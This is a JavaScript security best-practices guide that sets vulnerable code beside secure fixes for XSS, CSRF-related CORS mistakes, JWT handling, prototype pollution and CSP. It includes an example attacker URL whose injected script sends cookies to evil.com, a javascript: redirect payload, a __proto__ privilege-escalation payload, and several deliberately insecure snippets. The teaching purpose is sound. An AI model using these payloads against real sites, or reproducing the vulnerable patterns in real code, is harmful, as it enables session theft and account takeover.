JavaScript Security Best Practices
Learn how to protect JavaScript applications from XSS, CSRF, prototype pollution, insecure JWT handling, and other common web security vulnerabilities.
Security in JavaScript applications means defending against a specific, well-understood set of attacks. Each vulnerability has a clear mechanism and a clear fix. This guide shows vulnerable code alongside the secure alternative so you understand not just what to do, but why it matters.
Cross-Site Scripting (XSS)
XSS is the most common web security vulnerability. It lets attackers inject scripts that run in other users’ browsers — stealing session tokens, making API calls on the victim’s behalf, or defacing the UI. It happens whenever user-controlled data reaches the browser as HTML rather than plain text. The fix is consistent: treat user data as text, never as markup.
Reflected and Stored XSS
// VULNERABLE: reflecting user input as HTML — an attacker can inject a script tag
const username = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = `Hello, ${username}!`;
// Attacker URL: ?name=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
// SECURE: textContent treats the value as plain text — HTML is never parsed
document.getElementById("greeting").textContent = `Hello, ${username}!`;
DOM-Based XSS
DOM-based XSS happens entirely in the browser — the server never sees the malicious payload. Dangerous “sinks” like document.location, element.src, and eval will execute attacker-controlled values if you’re not careful:
// VULNERABLE: writing unsanitized data into a navigation sink
const redirectUrl = new URLSearchParams(location.search).get("next");
document.location = redirectUrl;
// Attacker: ?next=javascript:alert(document.cookie)
// SECURE: validate against an allowlist before using in navigation
function safeRedirect(url) {
try {
const parsed = new URL(url, location.origin);
// Only allow same-origin redirects — block external sites and javascript: URIs
if (parsed.origin !== location.origin) {
throw new Error("Redirect to external origin blocked");
}
location.href = parsed.toString();
} catch {
location.href = "/"; // fall back to home on any invalid input
}
}
When You Must Render HTML: DOMPurify
Sometimes user-authored rich text is a legitimate feature — comments, blog posts, email body previews. In these cases you genuinely need to render HTML, but you must strip dangerous elements and attributes first. DOMPurify is the standard library for this:
// VULNERABLE: rendering user-authored rich text without sanitization
container.innerHTML = userProvidedHtml;
// SECURE: sanitize with DOMPurify before inserting — strips scripts, event handlers, etc.
import DOMPurify from "dompurify";
const clean = DOMPurify.sanitize(userProvidedHtml, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "ol", "li"],
ALLOWED_ATTR: ["href", "title", "target"],
ALLOW_DATA_ATTR: false,
});
container.innerHTML = clean;
// For React — dangerouslySetInnerHTML only with sanitized content
function RichText({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Dangerous APIs to Avoid with User Data
These APIs execute or parse their input — passing user data to any of them is a direct XSS vector:
// Never pass user data to:
eval(userInput); // executes arbitrary code
new Function("return " + userInput)(); // same as eval
element.innerHTML = userInput; // interprets HTML and scripts
element.outerHTML = userInput;
document.write(userInput);
setTimeout(userInput, 100); // string form executes as code
scriptEl.src = userInput; // loads an arbitrary script
anchorEl.href = "javascript:" + userInput;
Content Security Policy
Even with careful coding, a single missed XSS vulnerability can be catastrophic. CSP is a browser security header that acts as a second line of defense — it restricts which scripts, styles, and resources can load, so even if injection occurs, the injected script may not be allowed to execute. A strict CSP with nonces is the gold standard.
# In your server's HTTP response headers:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{RANDOM_NONCE}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://cdn.example.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
// Express.js — use helmet for CSP headers
import helmet from "helmet";
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
// nonce-based CSP: only scripts with the matching nonce attribute execute
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https://cdn.example.com"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
},
})
);
// Generate a unique nonce per request — reusing nonces defeats the purpose
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString("base64");
next();
});
Input Sanitization and Validation
Client-side validation improves UX but provides zero security — an attacker can bypass it entirely by sending requests directly with curl or Postman. Server-side validation is mandatory. Zod is a popular TypeScript-first schema library that validates and types data in one step:
// Server-side validation with Zod — validates shape, types, and business rules
import { z } from "zod";
const CreateUserSchema = z.object({
username: z
.string()
.min(3)
.max(30)
.regex(/^[a-zA-Z0-9_]+$/, "Only alphanumeric and underscore allowed"),
email: z.string().email(),
age: z.number().int().min(13).max(120),
website: z.string().url().optional(),
});
app.post("/users", async (req, res) => {
const result = CreateUserSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({
error: "Validation failed",
details: result.error.flatten().fieldErrors,
});
}
// result.data is fully typed and validated — safe to use
const user = result.data;
await db.createUser(user);
res.status(201).json({ id: user.id });
});
CORS
CORS controls which origins can make credentialed cross-origin requests. The most dangerous misconfiguration is reflecting the Origin header back — this is equivalent to disabling CORS entirely, since any attacker-controlled site can make authenticated requests to your API:
// VULNERABLE: reflecting the Origin header back — any site can make credentialed requests
app.use((req, res, next) => {
res.header("Access-Control-Allow-Origin", req.headers.origin); // any origin!
res.header("Access-Control-Allow-Credentials", "true"); // + credentials = full bypass
next();
});
// SECURE: explicit allowlist — only known origins are permitted
const ALLOWED_ORIGINS = new Set([
"https://app.example.com",
"https://admin.example.com",
]);
app.use((req, res, next) => {
const origin = req.headers.origin;
if (ALLOWED_ORIGINS.has(origin)) {
res.header("Access-Control-Allow-Origin", origin);
res.header("Vary", "Origin"); // tell caches the response varies by origin
}
if (req.method === "OPTIONS") {
res.header("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE");
res.header("Access-Control-Allow-Headers", "Content-Type, Authorization");
res.header("Access-Control-Max-Age", "86400");
return res.sendStatus(204);
}
next();
});
JWT Security
JWTs are widely used for authentication, but several implementation mistakes turn them into vulnerabilities. The most critical: always specify which algorithms are acceptable, and always verify the signature rather than just decoding the payload.
// VULNERABLE: accepting 'none' algorithm — attacker can forge any token
const decoded = jwt.verify(token, secret, {}); // doesn't disable alg:none
// VULNERABLE: not verifying the signature at all
const payload = JSON.parse(atob(token.split(".")[1])); // just decoding, no verification!
// SECURE: explicit algorithm allowlist, short expiry, full verification
import jwt from "jsonwebtoken";
const JWT_SECRET = process.env.JWT_SECRET; // minimum 256-bit random string
function signToken(payload) {
return jwt.sign(payload, JWT_SECRET, {
algorithm: "HS256",
expiresIn: "15m", // short-lived access tokens reduce the window of theft
issuer: "api.example.com",
audience: "app.example.com",
});
}
function verifyToken(token) {
return jwt.verify(token, JWT_SECRET, {
algorithms: ["HS256"], // explicitly reject 'none' and any other algorithm
issuer: "api.example.com",
audience: "app.example.com",
});
}
// Middleware — extract and verify on every protected request
function authenticate(req, res, next) {
const auth = req.headers.authorization;
if (!auth?.startsWith("Bearer ")) return res.sendStatus(401);
try {
req.user = verifyToken(auth.slice(7));
next();
} catch (err) {
res.status(401).json({ error: "Invalid or expired token" });
}
}
Prototype Pollution
Prototype pollution happens when user-controlled input is merged into an object using a naive recursive merge that doesn’t guard against __proto__ as a key. Because all plain objects inherit from Object.prototype, polluting it affects every object in the application — potentially allowing privilege escalation or corrupting application state.
// VULNERABLE: naive deep merge with user-controlled input
function deepMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === "object") {
target[key] = deepMerge(target[key] ?? {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Attacker sends: {"__proto__": {"isAdmin": true}}
deepMerge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
console.log({}.isAdmin); // true — every plain object is now "admin"!
// SECURE: skip prototype-polluting keys during merge
function safeMerge(target, source) {
for (const key of Object.keys(source)) {
// Explicitly block the three keys that can reach the prototype chain
if (key === "__proto__" || key === "constructor" || key === "prototype") {
continue;
}
if (typeof source[key] === "object" && source[key] !== null) {
target[key] = safeMerge(target[key] ?? Object.create(null), source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// Use Object.create(null) for lookup tables — no prototype chain to pollute
const roles = Object.create(null);
roles["alice"] = "admin";
roles["bob"] = "editor";
// roles.__proto__ is undefined — safe to use as a data structure keyed on user input
Security Headers Checklist
Security headers are a low-effort, high-value layer of defense. helmet for Express sets sensible defaults for all of them in one line:
// Express + helmet covers most of these in a single call
app.use(helmet()); // sets sensible defaults for all headers below
// Key headers set by helmet:
// X-Content-Type-Options: nosniff — prevent MIME type sniffing attacks
// X-Frame-Options: DENY — prevent clickjacking via iframes
// Strict-Transport-Security — force HTTPS, reject plain HTTP
// X-XSS-Protection: 0 — disable the buggy browser XSS filter (CSP is better)
// Referrer-Policy: strict-origin-when-cross-origin
// Permissions-Policy: geolocation=(), camera=() — restrict sensitive browser features
Quick Reference
| Threat | Prevention |
|---|---|
| XSS | textContent, DOMPurify, CSP |
| Prototype pollution | Block __proto__ in merges, Object.create(null) |
| Insecure JWT | Explicit algorithm, short expiry, algorithms option |
| CORS bypass | Explicit origin allowlist, Vary: Origin |
| Sensitive data exposure | Never log tokens/passwords, HttpOnly cookies |
eval / code injection | Never pass user data to eval, Function(), setTimeout(string) |